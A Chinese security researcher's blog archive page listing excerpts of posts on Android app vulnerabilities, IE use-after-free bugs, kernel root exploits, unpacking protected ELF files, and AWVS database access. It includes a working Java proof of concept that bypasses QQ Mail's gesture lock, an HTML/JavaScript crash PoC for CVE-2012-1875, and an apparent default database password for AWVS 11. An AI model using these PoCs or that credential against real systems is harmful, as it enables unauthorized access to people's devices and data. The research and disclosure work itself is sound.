分类目录归档:Stack

切换VPS服务器记录

终于下定决心买一台VPS。原因有两个,一来总是白嫖FlowerCode的服务器,实在不好意思;二来最近三年都在兼职成都办公室网管和部门IT的角色,一来二去的折腾,竟感觉还有那么些意思。所以,趁着休假的时机,正好有时机安静的折腾。

根据个人习惯和需求,对服务器的需求如下:

  • 性能:能够稳定运行一些Web Server,考虑到Docker和一些OOXX需求,优先考虑SSD;
  • 网络:因为不考虑国内服务器,在速度上,访问速度一般即可。带宽一般,流量价格相对便宜;
  • 个人喜好:因为主要使用Docker,且熟悉Ubuntu,所以有Ubuntu可选的VPS即可;

综合考虑,最后选择了Contabo丐版SSD套餐。虽然Contabo的口碑略差,且服务器在德国,但是下面的配置作为入门,还是相对划算: More

连接AWVS 11的PostgreSQL数据库

最近有些需求,需要在AWVS 11的基础上进行一些自动化,AWVS 11的API接口不能完全满足需求,所以需要直接操作数据库完成。

读取配置文件

配置文件位于C:\ProgramData\Acunetix 11\settings.ini,数据库相关的字段如下:

databases.connections.master.connection.user=wvs
databases.connections.master.connection.host=localhost
databases.connections.master.connection.port=35432
databases.connections.master.connection.db=wvs
databases.connections.master.connection.password=j6qGK0UCYFnD3lkJsC2ZK1DZJqKO0oqi

外部访问PostgreSQL

修改C:\ProgramData\Acunetix 11\db目录下的PostgreSQL配置文件pg_ident.confpostgresql.conf可以让PostgreSQL外部访问,但升级的时候会出问题。Windows下,使用netsh进行端口转发,并且加入防火墙例外即可: More

QQ拼音for Android v4.9.1 so劫持/感染

Intro

QQ拼音for Android v4.9.1的导出组件com.tencent.qqpinyin.voice.DownloadApkService没有对传入的下载地址进行过滤,导致任意文件下载,且没有对传入的文件名进行合法性校验,导致目录遍历。加上其本身Apk的特点,可以使用该组件感染/劫持so文件。之前没注意QQ拼音已经归属搜狗,2015-04-27提交到了TSRC,告知已转交搜狗。至今漏洞依然存在,但从v4.9.2开始lib目录有所变化,无法感染/劫持。

漏洞细节

查看AndroidManifest.xml文件,发现com.tencent.qqpinyin.voice.DownloadApkService导出:

<service android:name=".voice.DownloadApkService" android:process=":remote">
    <intent-filter>
        <action android:name="com.tencent.qqpinyin.download.apk" />
    </intent-filter>
</service>

DownloadApkService关键代码如下: More

QQ邮箱 for Android <= 4.0.4手势密码绕过

对于一个Android程序来说,没有一个统一的入口,任何导出的Activity都可以作为程序的入口。所以,如果在写程序的时候,没有考虑到每一个入口进入时的状态,就有可能出现逻辑上的漏洞。
比如QQ邮箱的这个,连续启动两次某些Activity就可以绕过手势密码。最初把PoC代码和描述都提交到了TSRC,结果那边回复说这是by design的,之后的沟通不了了之。

POC

  @Click
  void doEnterCalendarActivity() {
    (new AccessQQMailTask("com.tencent.qqmail.calendar.fragment.CalendarFragmentActivity")).execute();
    finish();
  }
  private class AccessQQMailTask extends AsyncTask<Void, Void, Void> {
    private String target_activity_name;
    public AccessQQMailTask(String activity_name) {
      super();
      target_activity_name = activity_name;
    }
    @Override
    protected void onPreExecute() {
    }
    void start_activity() {
      Intent intent = new Intent();
      intent.setClassName(tencent_mail_package_name, target_activity_name);
      startActivity(intent);
    }
    @Override
    protected Void doInBackground(Void... params) {
      try {
        start_activity();
        Thread.sleep(500);
        start_activity();
      } catch (Exception e) {
        Log.e(TAG, e.getMessage());
      }
      return null;
    }
    @Override
    protected void onPostExecute(Void result) {
    }
  }

完整代码见: https://github.com/TheCjw/Old-Android-POCs/tree/master/QQMailPatternLockBypass

半自动Fuzz

结合Drozer,并针对导出Activity进行一些逆向分析,可以轻松找到类似的漏洞。这类漏洞并不适合Fuzz,因为很大程度上涉及到了业务逻辑,初始化环境和检测结果免不了人工干预,但我们当初还是进行了一些尝试。大体的步骤是这样的: More

CVE-2014-3153笔记

CVE-2014-3153可以说是相当经典的漏洞,影响范围相当广泛。这实际上是一个Linux内核的Use-After-Free漏洞,利用得当可以转化为任意内核地址写入。Geohot的TowelRoot也利用了这个漏洞,在当时(以及现在)能够Root(或Crash)绝大多数Android设备。由于工作的需要,收集了该漏洞的一些资料,并且对漏洞原理和利用方法进行了一些学习和分析。

参考资料

以下是收集的资料:

个人觉得NativeFlow的三篇文章详细的解释了各种细节以及利用方法,包括使用模拟器进行内核调试、问题代码补丁地址、Crash PoC以及图示。天融信的文章结合了NativeFlow的三篇文章,并加入了自己的见解和分析,也挺不错,就是排版稍差。pwntex是NativeFlow给出的Relock和Requeue的PoC,而CVE-2014-3153和libfutex_exploit则是两个可以在Android上获取Root权限的PoC。 More

360加固保ELF脱壳总结

Intro

360加固保可以针对ELF和DEX进行保护,360某些产品的ELF文件基本都使用了自家产品进行加壳,而这些正是我们感兴趣的东西。由于文件比较多,为了能够快速的拿到Payload,最近稍微总结了一些较为通用的方法。

大体流程

壳整个流程的目的是解密核心ELF文件到内存中,关键解密的地方有3处,均使用RC4。

  • INIT_ARRAY:壳填充了结构,Linker在so加载完毕后会调用这个回调。这个函数被重命名为__gnu_armfini_26。其功能是进行一些反调试,并且解密JNI_Onload的代码。
  • JNI_Onload:JNI_OnLoad负责解密核心ELF并加载。此时解密的ELF文件的入口代码没有解密。
  • __gnu_Unwind_0:最后的步骤,解密核心ELF的入口代码。在不同的版本中解密入口代码的地方有所不同,一般的产品中在壳调用原始JNI_OnLoad之前会进行解密,360的某些产品则会通过Hook库函数的方式,在调用库函数之前再进行解密。

关键函数

外壳大部分函数名被修改成了伪库函数的名字,如图: More

WIFI万能钥匙Python查询脚本

最近声讨WIFI万能钥匙的声音越来越越多。这东西带来的安全性不必多说,但研究这个App还是十分有意思的。

其实在去年10月份左右,Hao Liu就已经把接口分析完毕。当时还没有iOS的非越狱版,Hao Liu猜测到了WIFI万能钥匙团队一定会通过大量的Android用户提供的密码,然后以LBS的形式出现在Apple App Store上。

个人观点,这东西还是谨慎使用为妙,尤其是在公司环境下。 More

CVE-2012-1875 UAF Analysis

Intro

大牛ga1ois在《关于泄漏的艺术》一文中提到CVE-2012-1875是一个可以从脚本层面直接访问的UAF。以前没分析过这种类型的UAF,这两天趁着年后不忙看了一下漏洞成因。

POC

POC来自看雪,按照惯例添加了一些代码方便跟踪整个过程:

<HTML>
<DIV id=testfaild>
  <img id="imgTest">
  <div id="imgTest"></div>
  <input id="4B5F5F4B" onMouseOver="crash();"></input>
</DIV>
<script language="JavaScript">
function crash() {
  Math.atan2(0xbabe, "[*] calling crash...");
  eval("imgTest").src = "";
  Math.atan2(0xbabe, "[*] after set imgTest...");
}
function trigger() {
  var x =document.getElementsByTagName("input");
  Math.atan2(0xbabe, "[*] fireEvent onMouseOver 1st...");
  x[0].fireEvent("onMouseOver");
  Math.atan2(0xbabe, "[*] Before free object...");
  testfaild.innerHTML = testfaild.innerHTML;
  Math.atan2(0xbabe, "[*] After free object...");
  Math.atan2(0xbabe, "[*] fireEvent onMouseOver 2nd...");
  x[0].fireEvent("onMouseOver");
}
trigger();
</script>
</HTML>

调试的IE版本: More

CVE-2013-3893 UAF Analysis

Intro

前段时间工作中一直在干一些乱七八糟的事情,重心基本都是在Android上,掐指一算大概也有几个月没在Windows上用过调试器了。昨天心血来潮分析了一下IE的CVE-2013-3893漏洞。

POC

POC来自这里,使用XP下的IE8作为调试对象:

文件名:mshtml.dll
文件版本:8.00.6001.18702
MD5:D469A0EBA2EF5C6BEE8065B7E3196E5E
SHA1:FD6CB9D197BB58C339DEFE6E2C3B03FB3B62B440

调试过程

定位出错对象

IE加载原始的POC,异常中断时的信息如下: More

稳定利用CVE-2012-4220的方法

CVE-2012-4220 原理分析中简单的描述了一下libdiagexploit存在的问题,经过实际的测试,android-rooting-tools使用libdiagexploit是没法将值修改正确的。下面给出一种修正的方案,经过测试可以在ZTE N798 (CT_CN_N798+V1.0.0B09)上获取到了Root权限。

注意事项

利用之前需要清楚这个漏洞的功能和限制。

  1. 使用该漏洞可以向任意地址写入一个16位的值,范围是2~0xFFFF
  2. 修改为特定值需要循环调用该漏洞直到delayed_rsp_id的值是目标值。

所以,就是要控制好写入值,以及循环的次数。 More